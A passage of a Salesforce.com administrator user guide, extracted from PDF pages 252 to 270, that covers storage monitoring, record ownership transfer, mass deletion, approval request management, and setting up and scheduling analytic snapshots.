Note: If commas are not appropriate for your locale, use a tab or other delimiter.

8. Repeat these steps for each file.


If you have an earlier version of Microsoft Excel (pre 2003):
1. Open the file in Microsoft Excel.
2. Select File ➤ Save As.
3. Save the file as type Web Page.
4. Select Tools ➤ Options ➤ General tab and click the Web Options button.
5. Select the Encoding tab, and then choose the “Unicode (UTF-8)” option.
6. Click OK to close the dialog boxes.
7. Select File ➤ Save to save the file with selected encoding.
8. Repeat these steps for each file.

Viewing Unicode (UTF-16, Big Endian) Encoded Export Files


Open the export files in a text editor that supports this character set. Microsoft Excel does not support this character set.

Viewing Unicode (Little Endian) Encoded Export Files


1. Open the file in Microsoft Excel.

252
Data Management Monitoring Resources

2. Click on column A to highlight the entire first column.


3. Open the Data menu and choose Text to Columns.
4. Select the “Delimited” radio button and click Next.
5. Select “Comma” in the Delimiters section and click Finish.
Note: If commas are not appropriate for your locale, use a tab or other delimiter.

6. Repeat these steps for each file.

Monitoring Resources
Available in: All Editions

User Permissions Needed


To view storage usage: “Manage Users”

You can track how much storage space your organization is using. Individual users can view their own storage usage in their
personal information (see Editing Your Personal Information on page 50).
Storage is divided into two categories: data storage and file storage. File storage includes files in attachments, the Documents
tab, the File field, and Salesforce CRM Content. Data storage includes the following:

• Accounts
• Article types (format: “[Article Type Name] Version”)
• Campaigns
• Campaign Members
• Cases
• Case Teams
• Contacts
• Contracts
• Custom objects
• Email messages
• Events
• Forecast items
• Google docs
• Ideas
• Leads
• Notes
• Opportunities
• Solutions
• Tags: Tag applications
• Tags: Unique tags

253
Data Management Monitoring Resources

• Tasks

Data storage and file storage are calculated asynchronously, so if you import or add a large number of records or files, your
organization’s storage usage will not be updated immediately.
Each Edition includes a minimum amount of data storage and file storage. Professional, Enterprise, and Unlimited Editions
receive a per-user storage amount multiplied by the number of users in the organization if the result is greater than the minimum
storage amount. Using data storage as an example, an Enterprise Edition organization with 600 users would receive 12,000
MB (12 GB) of data storage, because 20 MB per user multiplied by 600 users is 12,000 MB. A smaller organization, for
example a Professional Edition organization with 20 users, would receive 1 GB of data storage because 20 MB per user
multiplied by 20 users is only 400 MB, which is less than the 1 GB minimum allotted to all Professional Edition organizations.
The values in the Storage Allocation Per User License column below apply to Salesforce and Salesforce Platform user licenses.
The Salesforce Platform Light user license provides 1 MB of data storage and 1 MB of file storage.
Note: The only feature license that provides additional storage is Salesforce CRM Content User; each Salesforce
CRM Content User license provides an additional 500 MB of file storage.

Salesforce.com Edition Data Storage Minimum per File Storage Minimum per Storage Allocation Per User
Organization Organization License
Personal 20 MB (approximately 10,000 20 MB N/A
records)
Contact Manager 1 GB 1 GB N/A
Group 1 GB 1 GB N/A
Professional 1 GB 1 GB 20 MB of data storage and
100 MB of file storage
Enterprise 1 GB, plus 2 MB for each 1 GB 20 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Unlimited 1 GB, plus 2 MB for each 1 GB 120 MB of data storage and
Silver Partner license and 5 100 MB of file storage
MB for each Gold Partner
license
Developer 20 MB 20 MB N/A

If your organization uses custom user licenses, contact salesforce.com to determine if these licenses provide additional storage.
For a description of user licenses, see Viewing User License Types on page 181.
To view your organization’s current storage usage click Setup ➤ Data Management ➤ Storage Usage. You can view the
available space for data storage and file storage, the amount of storage in use per record type, the top users according to storage
utilization, and the largest files in order of size. To view what types of data a particular user is storing, click that user’s name.
In all Editions except Personal Edition, administrators can view storage usage on a user-by-user basis:

1. Click Setup ➤ Manage Users ➤ Users.


2. Click the name of any user.

254
Data Management Monitoring Resources

3. Click View next to the Used Data Space or Used File Space fields to view that user’s storage usage by record type.

For all organizations, Salesforce.com sends your administrator warning emails when your organization is approaching the
storage limit. When your organization has reached its storage limit, you will not be able to create any new data or upload new
files. To reduce your storage usage, try to delete any outdated leads or contacts and remove any unnecessary attachments. In
Salesforce CRM Content, delete files to reduce your storage limit.
To increase your storage limit, you can purchase additional storage space, or in Professional, Enterprise, and Unlimited
Editions, you can also add user licenses. See Adding or Subtracting User Licenses on page 2370.

Storage Considerations
Take the following into consideration when planning your storage needs:
• Person accounts count against both account and contact storage because the API considers each person account to consist
of one account as well as one contact.
• Archived activities count against storage.
• None of the following count against storage: archived products, archived pricebooks, archived pricebook entries, and
archived assets.
• Nothing that is deleted counts against storage.

See Also:
Salesforce.com Editions and Limits
Force.com API Usage Limits

255
Data Management Transferring Records Overview

Transferring Records Overview


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To transfer multiple accounts, campaigns, contacts, contracts, “Transfer Record”
and custom objects:
AND
“Edit” on the object type

To transfer multiple leads: “Transfer Leads” OR “Transfer Record”


AND
“Edit” on leads

To transfer multiple cases: “Transfer Cases” OR “Transfer Record”


AND
“Edit” on cases

A record owner, or any user above the owner in the role or territory hierarchy, can transfer a single record to another user.
With some objects, like cases, leads, and campaigns, a user may be granted access to transfer records through sharing. Depending
on the type of object, there may be multiple ways to transfer records to another user:

Method Available for


Transfer a single record Accounts, campaigns, cases, contacts, contracts, leads, and
custom objects
Transfer multiple records by selecting the records from a list Cases, leads, and custom objects, which can belong to either
view and clicking Change Owner a user or a queue
Transfer multiple records using the Mass Transfer tool Accounts, leads, and custom objects

Ability to Change Ownership


• Users with the “Modify All Data” permission, or users with the “Modify All” permission for the given object, can transfer
any record, regardless of who owns the record.
• To transfer a single record or multiple records from a list view, the new owner must have at least the “Read” permission
on the object type. This rule does not apply if you use the mass transfer tool.
• To transfer ownership of any single record in an organization that does not use territory management, a user must have
the appropriate “Edit” permission and either own the record or be above the owner in the role hierarchy.
For example, to transfer ownership of an account, a user must have the “Edit” permission on accounts and read sharing
access to the account. Additionally, the new owner of the record must have at least “Read” permission on accounts.
The Public Full Access and Public Read/Write/Transfer sharing settings give all users the ability to transfer ownership of
that type of record as long as they have the appropriate “Edit” permission.

256
Data Management Transferring Records Overview

• In organizations that use territory management, users that have been assigned to territories can be enabled to transfer the
accounts in their territories, even if they are not the record owner.
• To transfer campaigns, users must also have the Marketing User checkbox selected on their user record.
• Partner accounts can only be transferred to users with the “Manage Partners” permission.
• You cannot assign an account with Customer Portal users to an owner who is a partner user.

See Also:
Mass Transferring Records
Changing Ownership
Changing Multiple Cases
Changing Multiple Leads

Mass Transferring Records


Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To mass transfer accounts and custom objects: “Transfer Record”
AND
“Edit” on the object type

To mass transfer leads: “Transfer Leads” OR “Transfer Record”


AND
“Edit” on leads

Use the Mass Transfer tool to transfer multiple accounts, leads, and custom objects from one user to another.
Note: To transfer any records that you do not own, you must have the required user permissions as well as read sharing
access on the records.

1. Choose Setup ➤ Data Management ➤ Mass Transfer Records.


2. Click the link for the type of record to transfer.
3. Optionally, fill in the name of the existing record owner in the Transfer from field. For leads, you can transfer from
users or queues.
4. In the Transfer to field, fill in the name of new record owner. For leads, you can transfer to users or queues.
5. If your organization uses divisions, select the Change division.... checkbox to set the division of all transferred records
to the new owner’s default division.
6. When transferring accounts, you can:

• Select the Transfer open opportunities not owned by the existing account owner checkbox if
you want to transfer open opportunities owned by other users that are associated with the account.

257
Data Management Transferring Records Overview

• Select the Transfer closed opportunities checkbox if you want to transfer closed opportunities associated
with the account. This option applies only to closed opportunities owned by the account owner; closed opportunities
owned by other users are not changed.
• Select the Transfer open cases owned by the existing account owner checkbox if you want to transfer
open cases that are owned by the existing account owner and associated with the account.
• Select the Transfer closed cases checkbox if you want to transfer closed cases that are owned by the existing
account owner and associated with the account.
• Select the Keep Account Team checkbox if you want to maintain the existing account team associated with the
account. Deselect this checkbox if you want to remove the existing account team associated with the account.
• Select the Keep Sales Team on all opportunities... checkbox if you want to maintain the existing sales
team on any opportunities associated with this account.
Note: If you transfer closed opportunities, the sales team is maintained, regardless of this setting.

7. Enter search criteria that the records you are transferring must match. For example, you could search accounts in California
by specifying Billing State/Province equals CA.
8. Click Find.
9. Select the checkbox next to the records you want to transfer. Optionally, check the box in the column header to select all
currently displayed items.
Note: If duplicate records are found, you must select only one of the records to transfer. Transferring duplicate
records results in an error.
Duplicate records may display if you filter leads based on Campaign Member Status and a matching lead has the
same campaign member status on multiple campaigns. For example, if you specify Campaign Member Status
equals Sent, and a matching lead named John Smith has the status Sent on two campaigns, his record will
display twice.

10. Click Transfer.

Transfer of Associated Items


When you change record ownership, some associated items that are owned by the current record owner are also transferred
to the new owner.

Record Associated items that are also transferred


Accounts Contacts (on business accounts only), attachments, notes, open activities, open opportunities
owned by the current account owner, and optionally, closed opportunities and open
opportunities owned by other users.
Leads Open activities. When transferring leads to a queue, open activities are not transferred.

Access to Transferred Items


When transferring accounts and their related data in Professional, Enterprise, Unlimited, and Developer Editions, all previous
access granted by manual sharing, Apex managed sharing, or sharing rules is removed. New sharing rules are then applied to

258
Data Management Managing Multiple Approval Requests

the data based on the new owner. The new owner may need to manually share the transferred accounts and opportunities as
necessary to grant access to certain users.

See Also:
Changing Ownership
Changing Multiple Cases
Assigning Leads

Managing Multiple Approval Requests


Available in: Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To manage multiple approval requests: “Modify All Data”

To transfer multiple approval requests from one user to another or to remove multiple approval requests from the approval
process:

1. Before transferring an approval request, make sure the new assigned approver has access to read the records for the approval
requests. For example, a user that does not have read access to an Expenses custom object will not be able to view expense
approval requests.
2. Choose Setup ➤ Data Management ➤ Mass Transfer Approval Requests.
3. Enter the search conditions that the approval requests you are transferring must match. For example, you could search for
approval requests that were originally submitted by a particular user by specifying “Original Submitter equals jsmith.” For
more information, see Entering Filter Criteria on page 1916.
4. Click Find to search for approval requests that match.
5. Choose an option:

• Mass remove records from an approval process unlocks the records and removes them from any approval
process so they no longer appear on the approver's list of pending approval requests.
• Mass transfer outstanding approval requests to a new user allows you to select a user and assign
that user as the approver for all approval requests selected.

6. Optionally, enter any comments to be stored with the approval requests. The comments you enter are displayed on the
Approval History related list if your administrator has customized it to include the Comments field.
7. Select the checkbox next to each approval request you want to transfer or remove from the approval process, depending
on the option you selected previously.
8. Click Transfer or Remove, depending on the option you selected previously.

See Also:
Approval Processes Overview
Approval Process Terminology

259
Data Management Deleting Mass Data

Deleting Mass Data


Available in: All Editions

User Permissions Needed


To mass delete data: “Modify All Data”

You can delete multiple cases, solutions, accounts, contacts, leads, products, or activities at one time. Before you use mass
delete, we strongly suggest you run a report to archive your information. We also strongly advise you to run a weekly export
of your data; see Exporting Backup Data on page 251.
To delete multiple records:

1. Click Setup ➤ Data Management ➤ Mass Delete Records.


2. Click the link for the type of record to delete.
3. Review the information that will be deleted along with the records.
4. Specify conditions that the selected items must match, for example, “State equals California.”  For more information, see
Entering Filter Criteria on page 1916.
5. When deleting accounts, check the appropriate boxes if you want to delete accounts with attached closed/won opportunities
or attached opportunities owned by other users.
6. When deleting products, check Archive Products... if you want to include products that are on opportunities.
Archived products are not moved to the Recycle Bin. Check this option to:

• Delete products that are not on opportunities and move them to the Recycle Bin.
• Archive products that are on opportunities. These products are not moved to the Recycle Bin and cannot be recovered.

Leave this box unchecked to delete only those products that are not on opportunities. Selected products that are on
opportunities will remain checked after the deletion to indicate they were not included in the deletion.
7. Choose Search to find records that match.
8. Select the box next to the items you want to delete. Optionally, check the box in the column header to select all currently
displayed items.
9. To permanently delete records, select Permanently delete the selected records. Please note that selecting
this option prevents you from recovering the selected records from the Recycle Bin.
10. Click Delete. If you did not select Permanently delete the selected records, deleted items are moved to the
Recycle Bin.

Notes on Using Mass Delete


Consider the following when using mass delete:
• You can only delete up to 250 items at one time.
• When you delete a record, any associated records that display on that record's related lists are also deleted.
• Accounts and contacts associated with cases cannot be deleted.
• Partner accounts with partner users cannot be deleted.
• Contacts enabled for Self-Service, and their associated accounts, cannot be deleted.
• When deleting products, all related price book entries are deleted with it.

260
Data Management What is an Analytic Snapshot?

• Products on opportunities cannot be deleted, but they can be archived.


• When you delete activities, any archived activities that meet the conditions are also deleted.
• The child events of a recurring event are not displayed in the list of possible items to delete, but they are deleted along
with their associated event series.
• Deleting a master solution does not delete the translated solutions associated with it. Instead, each translated solution
becomes a master solution.
• Deleting a translated solution removes the association with its master solution.

Sample Uses for Mass Delete


The following examples illustrate some common uses of mass delete.
• You imported your organization's leads incorrectly and you want to delete those imported leads. View the Using Mass
Delete to Undo Imports document for complete instructions.
• A user named John Smith recently left your organization, and he had several contacts that were duplicates of other users'
data. To delete these duplicate contacts, select contacts as the record type to delete and enter “Owner Alias equals jsmith.”
• Your organization may have formerly entered all leads as accounts with the Type field set to “Prospect.” You now want
to convert these accounts into leads. To do this, run a report of these accounts, export it to Excel, and then use the Import
My Organization’s Leads wizard to import the data as leads. Then using mass delete, select accounts as the record type to
delete and enter “Type equals Prospect” to locate all accounts you want to delete.
• You want to delete all the leads that have been converted for your organization. Select the lead record type, enter “Converted
equals 1” for the search criteria, then choose Search.
You might also want to use mass delete to clean up any old records you may have, to delete web-generated leads that were
created incorrectly, or to delete accounts and contacts with whom you no longer do business.

See Also:
Undoing an Import
Recycle Bin

What is an Analytic Snapshot?


Available in: Professional, Enterprise, Unlimited, and Developer Editions

An analytic snapshot enables users to run a tabular or summary report and save the report results to fields on a custom object.
With analytic snapshots, users with the appropriate permissions can map fields from a source report to the fields on a target
object, and schedule when to run the report to load the custom object's fields with the report's data. Analytic snapshots allow
you to work with report data similarly to how you work with other records in Salesforce.com. For example, a customer support
manager could set up an analytic snapshot that reports on the open cases assigned to his or her team everyday at 5:00 PM,
and store that data in a custom object to build a history on open cases from which he or she could spot trends via reports.
Furthermore, the customer support manager could report on point-in-time or trend data stored in the custom object and use
the report as a source for a dashboard component. For the total number of analytic snapshots you can create, see Salesforce.com
Editions and Limits on page 1007.

Analytic Snapshot Terminology


The following terminology is used for analytic snapshots:

261
Data Management Setting Up Analytic Snapshots

Analytic Snapshot Source Report


The custom report scheduled to run and load data as records into a custom object.

Analytic Snapshot Target Object


The custom object that receives the results of the source report as records.

Analytic Snapshot Running User


The user whose security settings determine the source report's level of access to data. This bypasses all security settings,
giving all users who can view the results of the source report in the target object access to data they might not be able to
see otherwise.
Be aware of the type of license your Running User has. For example, if the Running User of an analytic snapshot
has a Salesforce.com license, users who have Force.com Platform or Salesforce Platform One licenses will not be able
to view it. Alternatively, if the Running User has a Force.com Platform or Salesforce Platform One license, users who
have Salesforce.com licenses will be able to see the analytic snapshot. If you have users with Force.com Platform or
Salesforce Platform One licenses, we recommend creating a separate analytic snapshot for them with a Running User
that has a Force.com Platform or Salesforce Platform One user license.

After you set up an analytic snapshot, users can:


• Create and run custom reports from the target object. For more information, see Creating a Custom Report on page 1899
and Running Reports on page 1893.
• Create dashboards from the source report. For more information, see Creating and Editing Dashboard Properties on page
1496.
• Define list views on the target object if it is included on a custom object tab. For more information, see Creating Custom
List Views on page 1691.

See Also:
Managing Analytic Snapshots

Setting Up Analytic Snapshots


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

An analytic snapshot enables users to run a tabular or summary report and save the report results to fields on a custom object.
With analytic snapshots, users with the appropriate permissions can map fields from a source report to the fields on a target
object, and schedule when to run the report to load the custom object's fields with the report's data. Analytic snapshots allow
you to work with report data similarly to how you work with other records in Salesforce.com. For more information, see What

262
Data Management Setting Up Analytic Snapshots

is an Analytic Snapshot? on page 261. For information on the number of analytic snapshots you can set up for your organization,
see Salesforce.com Editions and Limits on page 1007.
To set up an analytic snapshot:

1. Create a source report that includes the fields to load as records into a target object.
2. Create a target object in which to store the records loaded from the source report.
3. Create fields on the target object that will receive the source report's results when the analytic snapshot runs.
4. Define the analytic snapshot by name, description, running user, source report, and target object.
5. Map specific fields on the source report to specific fields on the target object.
6. Schedule the analytic snapshot to run.

Tips on Source Reports for Analytic Snapshots


Consider the following when setting up source reports for analytic snapshots:
• If you save a tabular source report with its details hidden, the report will not be available to include in an analytic snapshot.
Furthermore, if you hide the details of a tabular source report included in an analytic snapshot, the analytic snapshot will
fail when it runs. To verify that the details of the tabular source report are not hidden, view the report, click Show Details,
and save the report. The Show Details button only displays if the report's details are hidden.
• When creating the source report for your analytic snapshot, note the names of the fields you added to the report, as those
field names may be useful to you when you create fields on the target object in which to store the report results.
• You can choose any custom tabular or summary report as the source report, except legacy forecast reports, Quota vs Actual
reports, and Leads by Source reports. The Source Report drop-down list does not display standard reports. For more
information, see Defining an Analytic Snapshot on page 267.
• You can include up to 100 fields in your source report.
• You can delete the schedule of when an analytic snapshot runs. You cannot stop or pause an analytic snapshot when it is
running. Furthermore, you cannot delete the source report of an analytic snapshot. To delete the source report, you must
first remove the report from the analytic snapshot by changing the report in the Source Report drop-down list. For
more information, see Defining an Analytic Snapshot on page 267. For more information, see Managing Analytic Snapshots
on page 1943.
• If you select Load No Data in the Fields from Source Report column, no data will load into the corresponding field in the
Fields in Target Object column when the analytic snapshot runs. For more information, see Mapping Analytic Snapshot
Fields on page 268.
• The (No fields with compatible data type) field displays in the Fields from Source Report column when a
field on the target object does not match the data type of a field on the source report. For more information, see Mapping
Analytic Snapshot Fields on page 268.

Tips on Target Objects for Analytic Snapshots


Consider the following when setting up target objects for analytic snapshots:
• In Enterprise, Unlimited, and Developer Editions, use field-level security to make the target object's fields visible to the
appropriate users. For more information, see Setting Field-Level Security on page 217.
• You cannot delete a custom object if it is a target object in an analytic snapshot. For more information, see Deleting Custom
Objects on page 783.
• The fields on the target object determine field mapping availability. For example, your source report may include ten fields,
but if your target object includes one field, then you can only map one field in your analytic snapshot.
• You can add up to 100 fields to the target object.
• Target objects cannot contain validation rules or be included in a workflow. For more information, see Managing Validation
Rules on page 508 and Managing Workflow and Approvals on page 794.

263
Data Management Setting Up Analytic Snapshots

• Analytic snapshots cannot contain target objects that trigger an Apex script to run when new records are created. For more
information, see Managing Apex Triggers on page 975.
• When an analytic snapshot runs, it can add up to 2000 new records to the target object. If the source report generates more
than 2000 records, an error message is displayed for the additional records in the Row Failures related list. You can access
the Row Failures related list via the Run History section of an analytic snapshot detail page. For more information, see
Troubleshooting Analytic Snapshots on page 271.

Tips on Analytic Snapshots


Consider the following when setting up analytic snapshots:
• You can only map fields with compatible data types. For example, you can map a currency field to a number field. For
more information, see Custom Field Types on page 442.
• The Schedule Analytic Snapshot section on an analytic snapshot detail page displays details on when the analytic snapshot
is scheduled to run.
• If you change the source report or target object on an analytic snapshot with existing field mappings, the field mappings
will be deleted when you save the analytic snapshot. You can also view Summary Fields in Source Report and
Fields in Target Object to see the number of summary or target fields, respectively. For more information, see
Defining an Analytic Snapshot on page 267.
• You must map at least one field from the source report to one field on the target object or data will not load from the source
report to the target object when the analytic snapshot runs.
• When an analytic snapshot is defined, deleted, or its source report or target object is changed, it is tracked in your
organization's setup audit trail history. For more information, see Monitoring Setup Changes on page 241.
• The Run History section on an analytic snapshot detail page displays details on when the analytic snapshot ran. Details
include:
- The date and time at which the analytic snapshot ran
- The name of the source report, target object, and running user
- The time it took for the analytic snapshot to run
- The total number of detail or summary rows in the source report, depending on the report type
- The number of records created in the target object
- Whether or not the analytic snapshot ran successfully

• An analytic snapshot will fail during a scheduled run if:


- The source report includes more than 100 fields
- The source report was changed from summary to tabular
- The selected grouping level for a summary source report is no longer valid
- The running user does not have access to the source report
- The running user does not have the “Run Reports” permission
- The target object has more than 100 custom fields
- The target object contains validation rules
- The target object is included in a workflow
- The target object is a detail object in a master-detail relationship
- The target object runs an Apex trigger when new records are created on it

264
Data Management Setting Up Analytic Snapshots

- The running user does not have the “Create” permission on the target object. Note that if the target object's status is
In Development, the running user must have the “Customize Applications” permission.

See Also:
What is an Analytic Snapshot?
Managing Analytic Snapshots

Managing Analytic Snapshots


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

After you set up an analytic snapshot, you can view details about it and edit and delete it. Click Setup ➤ Data Management
➤ Analytic Snapshots to display the Analytic Snapshots page, which shows the list of analytic snapshots defined for your
organization.
From the Analytic Snapshots page, you can:

• Select a list view from the View drop-down list to go directly to that list page, or click Create New View to define your
own custom view. For more information, see Creating Custom List Views on page 1691.
• Define a new analytic snapshot by clicking New Analytic Snapshot.
• Update the analytic snapshot name, description, running user, source report, and target object by clicking Edit next to the
analytic snapshot name. Only users with the “Modify All Data” permission can choose running users other than themselves.
If you have the “Customize Application” permission, enter a Unique Name. The unique name is used to refer to the
component when using the Force.com API. In managed packages, this name prevents naming conflicts on package
installations. This name can contain only underscores and alphanumeric characters, and must be unique in your organization.
It must begin with a letter, not include spaces, not end with an underscore, and not contain two consecutive underscores.
With the Unique Name field, a developer can change certain components' names or titles in a managed package and the
changes are reflected in a subscriber's organization.
If you change the source report or target object on an analytic snapshot with existing field mappings, the field mappings
will be deleted when you save the analytic snapshot. You can also view Summary Fields in Source Report and
Fields in Target Object to see the number of summary or target fields, respectively.
• Delete an analytic snapshot by clicking Del next to the analytic snapshot name. After the analytic snapshot is deleted, it
cannot be restored from the Recycle Bin.

265
Data Management Setting Up Analytic Snapshots

Important: When you delete an analytic snapshot, the source report and target object are not deleted; however,
when the source report runs, it will not load the target object with data.
You can delete the schedule of when an analytic snapshot runs. You cannot stop or pause an analytic snapshot
when it is running. Furthermore, you cannot delete the source report of an analytic snapshot. To delete the source
report, you must first remove the report from the analytic snapshot by changing the report in the Source Report
drop-down list. For more information, see Defining an Analytic Snapshot on page 267.

• Display detailed information about an analytic snapshot and customize it further by clicking the analytic snapshot name.
After you click the analytic snapshot name you can:

- Click links in the Identification section that redirect you to the analytic snapshot running user, source report, and target
object. In addition, you can view the preferred date and time at which the analytic snapshot will approximately run
next in the Next Run field, and view the date and time at which the analytic snapshot last ran in the Last Run field.
- Click Edit in the Field Mappings section to further customize the fields mapped from the source report to the target
object. For more information, see Mapping Analytic Snapshot Fields on page 268.
The Analytic Snapshot Field Mappings section displays which source report fields are mapped to the target object's
fields. In addition, you can view the number of fields in the source report available for mapping to the target object in
the Columns in Source Report field. Also, you can view the number of fields available for mapping in the target
object in the Fields in Target Object field.
- Click Edit in the Schedule Analytic Snapshot section to schedule when to run the analytic snapshot. For more
information, see Scheduling and Running an Analytic Snapshot on page 269.
The Schedule Analytic Snapshot section displays details on when the analytic snapshot is currently scheduled to run.
- The Run History section displays details on when the analytic snapshot ran. Details include:

› The date and time at which the analytic snapshot ran


› The name of the source report, target object, and running user
› The time it took for the analytic snapshot to run
› The total number of detail or summary rows in the source report, depending on the report type
› The number of records created in the target object
› Whether or not the analytic snapshot ran successfully

Up to 200 records are stored in the Run History section. After 200 records are stored, the oldest record is automatically
deleted and cannot be retrieved from the Recycle Bin.
The Run History section only displays the first error detected for each failed run. To troubleshoot an analytic snapshot
that failed during a scheduled run, see Troubleshooting Analytic Snapshots on page 271.

See Also:
What is an Analytic Snapshot?
Setting Up Analytic Snapshots

266
Data Management Setting Up Analytic Snapshots

Defining an Analytic Snapshot


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

After you create a source report, target object, and target object fields as described in Setting Up Analytic Snapshots, you can
define your analytic snapshot. You define an analytic snapshot by naming it and choosing the source report that will load
report results into the target object you specify when the analytic snapshot runs.
To define an analytic snapshot:

1. Click Setup ➤ Data Management ➤ Analytic Snapshots.


2. Click New Analytic Snapshot.
3. Enter a name, unique name, and description for your analytic snapshot.
4. Choose a user in the Running User field by clicking the lookup icon.
The user in the Running User field determines the source report's level of access to data. This bypasses all security
settings, giving all users who can view the results of the source report in the target object access to data they might not be
able to see otherwise.
Only users with the “Modify All Data” permission can choose running users other than themselves. For more information,
see Managing Profiles on page 142.
5. Select a report from the Source Report drop-down list.
The report you choose determines the report results that will load as records into the target object when the analytic
snapshot runs.
You can choose any custom tabular or summary report as the source report, except legacy forecast reports, Quota vs Actual
reports, and Leads by Source reports. The Source Report drop-down list does not display standard reports. For more
information, see Creating a Custom Report on page 1899 and Standard Report Folders on page 1865.
6. Select a custom object from the Target Object drop-down list.
The custom object you choose will receive the source report's results as records when the analytic snapshot runs.
If a record used for an analytic snapshot has no record type associated with it, the record type of the running user is associated
with the analytic snapshot by default.
7. Click Save to save the definition of your analytic snapshot, or click Save & Edit Field Mappings to save your analytic
snapshot and map its fields.

267
Data Management Setting Up Analytic Snapshots

8. Next, map the fields on the source report to the fields on the target object.

See Also:
Setting Up Analytic Snapshots
Managing Analytic Snapshots

Mapping Analytic Snapshot Fields


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

After you create a source report, target object, target object fields, and define your analytic snapshot as described in Setting
Up Analytic Snapshots, you can map the fields on your source report to the fields on your target object. You map source report
fields to target object fields so that when the report runs, it automatically loads specific target object fields with data from
specific source report fields.
To map the fields on an analytic snapshot:

1. Click Setup ➤ Data Management ➤ Analytic Snapshots.


2. Select the name of the analytic snapshot whose fields you want to map.
3. Click Edit on the Field Mappings section.
4. For summary reports, select the Grouping Level at which summary data is extracted from the source report. Data loaded
into the target object is taken from summary fields at the grouping level you specify. The Grand Summary summarizes
on the total for all grouping levels.
5. In the Fields from Source Report column, click a Load No Data drop-down list and select a field from the source report
to map to a custom object field in the Fields in Target Object column. Only summary fields can be mapped for analytic
snapshots based on summary reports. Note that the fields for summary reports may vary depending on the grouping level
selected.
6. Click Quick Save to save field mappings and continue mapping fields, or click Save to save field mappings and return to
the analytic snapshot's detail page.
7. Next, schedule the analytic snapshot to run.

Tips on Mapping Analytic Snapshot Fields


Consider the following when mapping analytic snapshot fields:
• You must map at least one field from the source report to one field on the target object or data will not load from the source
report to the target object when the analytic snapshot runs.

268
Data Management Setting Up Analytic Snapshots

• You can only map fields with compatible data types. For example, you can map a currency field to a number field. For
more information, see Custom Field Types on page 442.
• A custom summary formula can be mapped only if the grouping level in the analytic snapshot and the grouping level in
the custom summary formula match.
• If you select Load No Data in the Fields from Source Report column, no data will load into the corresponding field in the
Fields in Target Object column when the analytic snapshot runs. For more information, see Scheduling and Running an
Analytic Snapshot on page 269.
• The (No fields with compatible data type) field displays in the Fields from Source Report column when a
field on the target object does not match the data type of a field on the source report.
• The fields on the target object determine field mapping availability. For example, your source report may include ten fields,
but if your target object includes one field, then you can only map one field in your analytic snapshot.
• You cannot map fields from the source report to the following fields on the target object: Created By, Last Modified
By, Created Date, and Last Modified Date.
• When you map fields from the source report to the target object, some data may lose its context when loaded to the target
object. For example, if you map a date and time field from the source report to a text field on the target object, the date
and time load to the target object without the time zone.
• When executing an analytic snapshot, if the running user does not have “read” or “write” access to a mapped field in the
target object, that field is dropped from the mapping, but does not cause the execution to fail. If a required field in the
target object is not mapped, the execution fails. To ensure that fields are always mapped, make them required or set default
values for them.
• To map a field in the source report to a lookup field on the target object, you must map to the ID of the object associated
with the lookup. For example, to map to an opportunity lookup field, you must map to the Opportunity ID. To get
the Opportunity ID in the source report, you may need to use a custom report type to include ID and other related
fields.

See Also:
What is an Analytic Snapshot?

Scheduling and Running an Analytic Snapshot


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create, save, and schedule an analytic snapshot: “Manage Analytic Snapshots”
To run an analytic snapshot as a running user and add the “Run Reports”
results to a custom object, the running user must have:
AND
“Create” on the target object

After you create a source report, target object, target object fields, define your analytic snapshot, and map its fields as described
in Setting Up Analytic Snapshots, you can schedule an analytic snapshot to run. You can schedule an analytic snapshot to run
daily, weekly, or monthly so that data from the source report is loaded into the target object when you need it. Furthermore,
after an analytic snapshot has completed running, you can send an email notification to yourself and other users that includes

269
Data Management Setting Up Analytic Snapshots

details about the analytic snapshot run, such as the date and time the analytic snapshot ran, if the analytic snapshot ran
successfully, and how many records were loaded into the target object from the source report. Also, the notification includes
a link to the analytic snapshot detail page in Salesforce.com. Users with the correct permissions can view the analytic snapshot
detail page after they log in.
To schedule an analytic snapshot to run:

1. Click Setup ➤ Data Management ➤ Analytic Snapshots.


2. Select the name of the analytic snapshot that you want to schedule to run.
3. Click Edit on the Schedule Analytic Snapshot section.
4. Select a notification setting to send an email when the analytic snapshot finishes running:

• Click Me to send an email to the email address specified on your Salesforce.com user record.
• Click Others... to send an email to additional users. You can only send analytic snapshot notifications to email
addresses included on Salesforce.com user records. Furthermore, you can only select Users and Public Groups in the
Search drop-down list.

5. Schedule the analytic snapshot to run:

• In the Frequency field, select the frequency at which the analytic snapshot runs. When you click the Daily, Weekly,
or Monthly fields, more options display that allow you to refine frequency criteria.
• In the Start and End fields, specify the dates during which you wish to schedule the analytic snapshot to run.
• In the Preferred Start Time drop-down list, click the Find available options... link to choose a preferred start
time for the analytic snapshot to run.
Your preferred start time may not be available if other users have already selected that time to run an analytic snapshot
or your organization has reached its analytic snapshot limit. For more information, see Salesforce.com Editions and
Limits on page 1007.

6. Click Save to schedule the analytic snapshot to run.


When the analytic snapshot runs, it adds new records to the target object.

Optionally, once you have scheduled an analytic snapshot to run, you can perform the following actions after you click Edit
on the Schedule Analytic Snapshot section of an analytic snapshot detail page:

• Click Edit to update the notification and frequency settings of the analytic snapshot.
• Click Delete to permanently delete the existing schedule of when the analytic snapshot runs.

Tips on Scheduling an Analytic Snapshot to Run


Consider the following when scheduling an analytic snapshot to run:
• The number of analytic snapshots you can schedule to run is determined by your Edition. For details, see Salesforce.com
